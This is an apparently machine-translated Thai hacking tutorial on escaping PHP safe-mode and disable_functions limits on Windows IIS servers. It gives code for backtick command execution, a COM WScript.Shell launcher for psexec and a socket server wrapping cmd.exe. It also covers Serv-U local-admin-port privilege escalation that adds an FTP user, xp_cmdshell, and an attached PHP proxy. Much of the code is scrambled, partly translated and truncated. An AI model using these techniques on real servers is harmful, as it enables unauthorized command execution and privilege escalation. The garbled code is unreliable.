ตั้งแต่ WIN2000 ไปจนถึง WIN XP และจากนั้นเป็น WIN2003 การปรับปรุงความปลอดภัยของเซิร์ฟเวอร์ MS IIS นั้นชัดเจน ใน WIN2000 PHP SHELL ธรรมดาสามารถเอาชนะมันได้ ใน WIN XP แม้ว่า Safe mode = off คุณจะไม่สามารถใช้ฟังก์ชันต่างๆ เช่น system() เพื่อดำเนินการคำสั่งของระบบ แต่เรายังคงสามารถใช้ฟังก์ชัน com() เพื่อเจาะทะลุได้ ตั้งแต่ WIN 2003 ถึงแม้ว่า IIS และ PHP จะถูกติดตั้งเป็นค่าเริ่มต้น คุณอาจไม่สามารถใช้ system() หรือ com() เพื่อเอาชนะมันได้ ในเวลานี้คุณต้องใช้วิธีการใหม่บางอย่างเพื่อสร้างความก้าวหน้า
1. การพัฒนาของ Disable_functions
ใน php-4.0.1 หรือสูงกว่านั้น ฟังก์ชันdisable_functionsถูกนำมาใช้ใน php.ini ฟังก์ชันนี้ค่อนข้างมีประโยชน์และสามารถใช้เพื่อปิดใช้งานฟังก์ชันบางอย่างได้ ตัวอย่างเช่น หากคุณเพิ่ม Disable_functions = passthru exec system ที่เปิดไปที่ php.ini จากนั้นเมื่อเรียกใช้ฟังก์ชันเหล่านี้ คุณจะได้รับคำเตือน: system() ถูกปิดใช้งานด้วยเหตุผลด้านความปลอดภัย และโปรแกรมจะยุติการทำงาน แต่ไม่มีวิธีดำเนินการคำสั่งระบบ เนื่องจาก PHP ใช้คุณสมบัติ Perl มากมาย คุณสามารถใช้ (`) เพื่อรันคำสั่งได้ โค้ดตัวอย่างจะเป็นดังนี้:
<?$output = `ls -al`;echo "<pre>$output</pre> ";?>
ว่ากันว่าสามารถหลีกเลี่ยงได้โดยการตั้งค่า safe_mode เป็นเปิด แต่ครั้งสุดท้ายที่ฉันใช้บนเซิร์ฟเวอร์ต่างประเทศก็ยังล้มเหลว ผู้คนไม่ได้โชคดีเสมอไป :)
2.เมื่อ
ใช้ dl( )
เมื่อไม่สามารถใช้หมายเลขการดำเนินการคำสั่งภายในของ PHP และ '' ได้ คุณสามารถลองใช้ dl() วิธีนี้สามารถใช้ได้กับเซฟโหมด=ปิดเท่านั้น เนื่องจากถูกปิดใช้งานในเซฟโหมด การใช้ dl() ทำให้คุณสามารถเรียกใช้ฟังก์ชัน W32api ได้โดยตรง ขออภัย ส่วนขยายนี้ถูกย้ายไปยังไลบรารี PECL และไม่ได้ผูกไว้อีกต่อไปตั้งแต่ PHP 5.1.0 หรือต่ำกว่า ต่อไปนี้เป็นตัวอย่างจากคู่มือ:
// โหลดส่วนขยายนี้
dl("php_w32api.dll");
// ลงทะเบียนฟังก์ชัน GetTickCount จาก kernel32.dll
w32api_register_function("kernel32.dll",
"GetTickCount",
"long") ;
// ลงทะเบียนฟังก์ชัน MessageBoxA จาก User32.dll
w32api_register_function("User32.dll",
"MessageBoxA
",
"long");
// รับข้อมูลเวลาบูต
$ticks = GetTickCount();
ข้อความ
$secs = floor ($ticks / 1,000);
$mins = floor($secs / 60);
$hours = floor($mins / 60);
$str = sprintf("คุณได้ใช้คอมพิวเตอร์ของคุณเพื่อ:".
"rn %d มิลลิวินาที หรือ rn %d วินาที"
"หรือ rn %d นาที หรือrn %d ชั่วโมง %d นาที",
$ticks,
$secs,
$mins ,
$hours,
$ mins - ($hours*60));
// แสดงกล่องโต้ตอบข้อความโดยมีเพียงปุ่ม OK และข้อความเวลาบูต
MessageBoxA(NULL,
$str,
"ข้อมูลสถานะการออนไลน์",
MB_OK
)
;
ฉันยังไม่เข้าใจ แต่ฉันมีความเข้าใจอย่างถ่องแท้เกี่ยวกับ dl() และ W32api ดังนั้นฉันจะไม่ยกตัวอย่างแบบสุ่มเพื่อหลีกเลี่ยงไม่ให้ผู้อ่านเข้าใจผิด
3. แอปพลิเคชันของฟังก์ชัน COM และ .Net (Windows)
COM (Component Object Model) เป็นข้อกำหนดซอฟต์แวร์ที่พัฒนาโดย Microsoft ใช้เพื่อพัฒนาส่วนประกอบซอฟต์แวร์เชิงวัตถุและคอมไพล์ ช่วยให้ซอฟต์แวร์สามารถสรุปเป็นส่วนประกอบไบนารี ส่วนใหญ่ใช้บนแพลตฟอร์ม windows
PHP เวอร์ชัน Windows มีการสนับสนุนในตัวสำหรับโมดูลส่วนขยายนี้แล้ว ไม่จำเป็นต้องโหลดไลบรารีส่วนขยายเพิ่มเติมเพื่อใช้ฟังก์ชัน COM การใช้งานคล้ายกับไวยากรณ์สำหรับการสร้างคลาสใน C++ หรือ Java และชื่อคลาส COM จะถูกส่งผ่านไปยังตัวสร้างเป็นพารามิเตอร์ ตัวอย่างเช่น ใช้ "WScript.Shell" ใน PHP เพื่อดำเนินการคำสั่งระบบ:
$cmd="E:/cert/admin/psexec.exe";
if($com=new COM("WScript.Shell")) echo "yes " ;
if(!$cmd1=$com->exec($cmd))
{
echo "ไม่สามารถดำเนินการได้ ()";
}
if(!$cmd2=$cmd1->stdout())
{
echo "ไม่สามารถ stdout( ) ";
}
if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>
รูปที่ 1 เป็นตัวอย่างที่ฉันเขียนเพื่อรัน psexec.exe
ความหมายของโค้ดนี้เหมือนกับของ ASP ทุกประการ คุณสามารถเรียก "ADODB.Connection" เช่น ASP ได้ เมื่อใช้คอมโพเนนต์นี้ร่วมกับช่องโหว่ jet2 overflow คุณอาจได้รับ Shell ภายใต้ PHP Saft โหมด=เปิด
//สร้างการเชื่อมต่อฐานข้อมูล
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb")
; conn->Open($dsn);
//ดึงข้อมูลผ่านสตริง SQL
$rs = $conn->Execute("select client from web");
…..
?>
ฟังก์ชัน .Net สามารถทำงานได้บน PHP 5 เท่านั้น แน่นอนว่ามันต้องได้รับการสนับสนุนจาก ".Net runtime" และนี่คือโมดูลทดลองของ PHP ที่ยังทำงานได้ไม่เต็มที่ ดังนั้นฉันจะไม่พูดถึงมันที่นี่
4. การใช้ฟังก์ชัน Java()
วิธีการนี้เหมาะสำหรับ safe mode=on หากต้องการใช้เซิร์ฟเวอร์โมดูล JAVA คุณต้องติดตั้งเครื่องเสมือน Java ล่วงหน้า และเปิดตัวเลือก with-java ระหว่างการติดตั้งและกำหนดค่า PHP รหัสจะเป็นดังนี้:
[JAVA]
นี่คือเส้นทางไปยัง php_java.jar
; java.class.path = . php_java.jar
;เส้นทาง JDK
;Java.home = f:jdk1.3.0
;เส้นทางไปยังเครื่องเสมือน
;Java.library=f:jdk1.3.0jrebinhostspotjvm .dll
นั้นเหมือนกับ COM หากต้องการสร้างคลาสใน Java (ไม่ใช่แค่ JavaBeans) เพียงส่งชื่อคลาส JAVA เป็นพารามิเตอร์ไปยังตัวสร้าง นี่คือตัวอย่างจากคู่มือ:
// ตัวอย่างนี้มีวัตถุประสงค์เพื่อใช้เป็น CGI เท่านั้น
$frame = new Java('java.awt.Frame', 'PHP');
$button = new Java('java. awt.Button', 'Hello Java World!');
$frame->เพิ่ม('North', $button);
$frame->ตรวจสอบ();
$
frame->pack();
;
$thread = new Java('java.lang.Thread');
$thread->sleep(10000);
$frame->dispose();
?>
น่าเสียดายที่มีเซิร์ฟเวอร์ PHP ไม่มากนักที่สามารถรองรับ JAVA ได้อย่างแท้จริง ในนี้ไม่จำเป็นต้องพูดคุยกันมากขนาดนี้
5. การใช้ฟังก์ชัน socket()
Socket เป็นโมดูลที่ทรงพลังอย่างยิ่งใน PHP หากคุณใช้อินเทอร์เฟซนามธรรมระดับสูง (ซ็อกเก็ตที่เปิดโดยฟังก์ชัน fsockopen() และ psockopen) คุณไม่จำเป็นต้องเปิด "php_sockets.dll" ของ. แต่ถ้าคุณต้องการใช้บล็อกฟังก์ชั่นซ็อกเก็ตที่สมบูรณ์ คุณต้องตั้งค่าเช่นนี้ใน php.ini:
; Windows Extensions
; โปรดทราบว่าตอนนี้รองรับ MySQL และ ODBC แล้วดังนั้น
จึงไม่จำเป็นต้องใช้ dll
; ลบประโยคต่อไปนี้ เครื่องหมายอัฒภาคที่ด้านหน้า
; extension=php_sockets.dll
ใช้บล็อกฟังก์ชันซ็อกเก็ตของ PHP เพื่อปรับใช้การส่งต่อพอร์ต/การเปลี่ยนเส้นทาง การดมแพ็กเก็ต การโอเวอร์โฟลว์ในเครื่อง และฟังก์ชันอื่นๆ นอกจากนี้ มันยังสามารถใช้เพื่อสร้างเซิร์ฟเวอร์ TCP/UDP ได้อีกด้วย ในเวลาเดียวกัน ฉันคิดว่านี่เป็นวิธีที่ดีที่สุดในการฝ่าฝืนนโยบายความปลอดภัยของเซิร์ฟเวอร์ ต่อไปนี้เป็นตัวอย่างของการเปิดพอร์ตบนเซิร์ฟเวอร์เพื่อสร้างเซิร์ฟเวอร์ TCP คุณสามารถใช้มันเพื่อรวม cmd.exe ของเซิร์ฟเวอร์:
//สร้างบริการ TCP บนเซิร์ฟเวอร์
//ตัวอย่างนี้ต้องการการสนับสนุนของ php_sockets.dll
//หลังจากดำเนินการ คุณสามารถใช้ "telnet 127.0.0.1 1020" เพื่อเชื่อมต่อ
error_reporting(E_ALL);
/* อนุญาตให้สคริปต์รอการเชื่อมต่อ */
set_time_limit(0);
/* เปิดการล้างข้อมูลโดยนัยเพื่อให้เราเห็น สิ่งที่เราได้รับ
* เมื่อเข้ามา */
ob_implicit_flush();
//Bind IP และ port บนเซิร์ฟเวอร์
$address = '127.0.0.1
'
;
SOCK_STREAM, SOL_TCP) ) < 0) {
echo "socket_create() ล้มเหลว: เหตุผล: " . socket_strerror($sock)
}
if (($ret = socket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() ล้มเหลว: เหตุผล: " . socket_strerror($ret)
}
if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() ล้มเหลว: เหตุผล: " . socket_strerror($ret) . "n";
}
do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() ล้มเหลว: เหตุผล: " . socket_strerror($
msgsock)
. " n";
}
/
* ส่งคำสั่ง
"nยินดีต้อนรับสู่เซิร์ฟเวอร์ทดสอบ PHP n" .
shutdown'. n";
socket_write($msgsock, $msg, strlen($msg));
do {
if (false === socket_recv($msgsock, $buf, 1024, 0)) {
echo "socket_read() ล้มเหลว : เหตุผล: " . socket_strerror($ret) . "n";
break 2;
}
if (!$buf = trim($buf)) {
Continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock
);
แบ่ง 2;
}
$talkback = "PHP: คุณพูดว่า '$buf'.n";
));
echo "$bufn";
//กระบวนการต่อไปนี้คือ
buf ที่ได้รับ
/*เช่น: เช่น
$buf="cmd.exe /c netstat –an";
r');
ในขณะที่ ($read = fgets($pp, 2096))
echo $read;
pclose($pp);
*/
} while (true);
socket_close
($msgsock);
} while (true);
sock);
?>
อันที่จริงแล้ว โฮสต์จำนวนมากไม่โหลด php_sockets.dll โชคดีที่ฟังก์ชัน "fsockopen" ที่ไม่ต้องการการสนับสนุนโมดูลซ็อกเก็ตก็เพียงพอแล้วสำหรับเรา เพราะตราบใดที่ยังมี "fsockopen" เราก็สามารถอ่านและเขียนพอร์ตบนเครื่องนี้ที่ไม่เปิดให้โลกภายนอกได้อย่างอิสระ การใช้ fsockopen เพื่ออ่านและเขียนพอร์ตการจัดการภายในเครื่อง 43958 ของ serv-u (หมายเหตุ: พอร์ตนี้ไม่สามารถเชื่อมต่อภายนอกได้) สำหรับการยกระดับสิทธิ์เป็นตัวอย่างทั่วไป:
adminuser="LocalAdministrator";
.lk;0@P ”;
$adminport=" 43958";
$fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8);
ถ้า (!$fp) {
echo "$errstr ( $errno)
n";
} else {
//$shellcode สามารถเขียนได้
// fputs ($fp, $shellcode);
fputs ($fp, "USER ".$adminuser"rn");
sleep ( 1);
fputs ($fp, "PASS
".$adminpass."rn")
; สลีป
(
1);
$fp, "-SETUSERSETUPrn");
fputs ($fp, "-IP=".$addr"rn");
fputs ($fp, "-PortNo=".$ftpport" rn");
fputs ($fp, "-User=".$user"rn");
fputs ($fp, "-Password=".$password"rn") ;
fputs ($fp, "-HomeDir=".$homedir"rn");
fputs ($fp, "
-LoginMesFile=rn");
rn");
fputs ($fp, "-RelPaths=0rn");
fputs ($fp, "-NeedSecure=0rn");
fputs ($fp, "-HideHidden=0 rn");
fputs ($fp, "-AlwaysAllowLogin=0rn");
fputs ($fp, "-ChangePassword=1rn");
fputs ($fp, "-QuotaEnable= 0rn");
fputs ($fp, "-MaxUsersLoginPerIP=-1rn");
fputs ($fp, "-SpeedLimitUp=-1rn");
fputs ($fp, " -SpeedLimitDown=-1rn");
fputs ($fp, "-MaxNrUsers=-1rn");
fputs ($fp, "-IdleTimeOut=600rn");
fputs ($ fp, "-SessionTimeOut=-1rn");
fputs ($fp, "-Expire=0rn");
fputs
($fp, "-RatioUp=1rn");
($fp, "-RatioDown=1rn");
fputs ($fp, "-RatiosCredit=0rn");
fputs ($fp, "-QuotaCurrent=0rn");
fputs ($fp, "-QuotaMaximum=0rn");
fputs ($fp, "-การบำรุงรักษา=Systemrn");
fputs ($fp, "-PasswordType=Regularrn") ;
fputs ($fp, "-Ratios=Nonern");
fputs(
$fp, "Access=".$homedir"|RWAMELCDPrn");
n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp, 128);
}
}
?>
คุณยังสามารถใช้ fsockopen เพื่อเขียนพร็อกซี HTTP เพื่อเข้าถึงเครือข่ายภายนอกหรือ คอมพิวเตอร์ท้องถิ่นที่เข้าถึงได้ ฉันมี HTTPProxy ที่สมบูรณ์ (รูปที่ 4) พร้อมโค้ดยาว ผู้อ่านที่สนใจสามารถเข้าไปดูได้
6. อินเทอร์เฟซ MYSQL/MSSQL
แตกต่างจาก Linux ตรงที่ mysql/MSSQL ภายใต้ windows มักจะทำงานในฐานะผู้ดูแลระบบ ดังนั้น ตราบใดที่คุณได้รับรหัสผ่าน root/sa ในฐานข้อมูล SQL ภายในเครื่อง คุณก็จะสามารถใช้งานได้โดยตรง . PHP เชื่อมต่อกับฐานข้อมูลเพื่อดำเนินการคำสั่งระบบ
การดำเนินการคำสั่งของระบบใน Mysql ต้องใช้ช่องโหว่ของฟังก์ชันที่ผู้ใช้กำหนด "MySQL UDF Dynamic Library" ใน MSSQL ตราบใดที่คุณเชื่อมต่อกับฐานข้อมูล คุณสามารถเรียกใช้คำสั่งการดำเนินการแบบขยาย "master..xp_cmdshell" ได้โดยตรง การอนุญาตนั้นเป็นสิทธิ์ของระบบแน่นอน
โดยสรุป: เนื่องจากเวอร์ชันต่างๆ ของระบบ IIS และ PHP วิธีการพัฒนาที่กล่าวมาข้างต้นอาจมีการเปลี่ยนแปลง นอกจากนี้ PHP ยังมีฟังก์ชันเพิ่มเติมมากมายที่สามารถใช้งานได้ ออกจาก system() ฟังก์ชันการดำเนินการคำสั่งของระบบ ฝ่าข้อจำกัดของนโยบายความปลอดภัยของระบบ!
สิ่งที่แนบมาคือรหัส proxy.php
error_reporting(E_ALL);
/*
// โปรแกรมนี้เป็นซอฟต์แวร์เสรี คุณสามารถแจกจ่ายต่อและ/หรือ
// แก้ไขได้ภายใต้เงื่อนไขของ GNU General Public License
// ตามที่เผยแพร่โดยซอฟต์แวร์เสรี Foundation; เวอร์ชัน 2
// ของใบอนุญาตหรือ (ตามตัวเลือกของคุณ) เวอร์ชันที่ใหม่กว่า
//
// โปรแกรมนี้เผยแพร่ด้วยความหวังว่าจะมีประโยชน์
// แต่ไม่มีการรับประกันใด ๆ ของ
// ความสามารถในการขายหรือความเหมาะสมสำหรับวัตถุประสงค์เฉพาะ ดู
// GNU General Public License สำหรับรายละเอียดเพิ่มเติม
//
// คุณควรได้รับสำเนาของ GNU General Public License
// พร้อมด้วยโปรแกรมนี้ ไปยังซอฟต์แวร์เสรี
// Foundation, Inc., 59 Temple Place-
Suite 330, Boston, MA 02111-1307, USA
----- -------------------------------------------------- --
// คลาส : PHProxy
// ผู้แต่ง: ultimategamer00 (Abdullah A.)
// แก้ไขล่าสุด: 18:28 PM 6/22/2004
*/
function __stripslashes($str)
{
return get_magic_quotes_gpc() ? : $str;
}
if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
($str, $อัลฟา[0], $alpha[1] );
}
คลาส
PHProxy
{
var
$allowed_hosts =
array(
'include_form' => 1
,
'
Remove_scripts' => 1 , 'accept_cookies' => 1, 'show_images' => 1, 'show_referer' => 1);
var $socket;
var
$
request_headers;
var
$response_headers;
response_body;
function
PHProxy( $flags = 'ก่อนหน้า')
{
$
this->version = '0.2';
$this->script_url = 'http'
. (isset
(
$this->url_segments ['query']) ? "?"
: '') .
= "User -ตัวแทน: Mozilla/ 4.0 (เข้ากันได้; MSIE 6.0; Windows NT 5.1)rn";
$headers .= "ยอมรับ: text/xml, application/xml, application/xhtml+xml, text/html; , ข้อความ/ธรรมดา; q=0.8, วิดีโอ/x-mng, รูปภาพ/png, รูปภาพ/jpeg, รูปภาพ/gif; q=0.1rn";
$headers .= "Connection : closer n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: rn";
}
$cookies = $this->get_cookies();
$headers .= $ cookies != '' ? "Cookie: $cookiesrn" : '';
if (
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query' ]) ? " : '') . " HTTP/1.0rn";
$headers .
= "โฮสต์: :rn";
MSIE 6.0; Windows NT 5.1)rn";
$headers .= "ยอมรับ: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, video/x-mng , image/png, image/jpeg, image/gif;q=0.2,*/*;q=0.1rn";
$headers .= "การเชื่อมต่อ: ปิดrn";
ถ้า ($this-> flags['show_referer'] == 1)
{
$headers .= "ผู้อ้างอิง: rn";
}
$cookies = $this->get_cookies();
$headers .= $cookies != ' ' ? "คุกกี้: $cookiesrn" : ''
;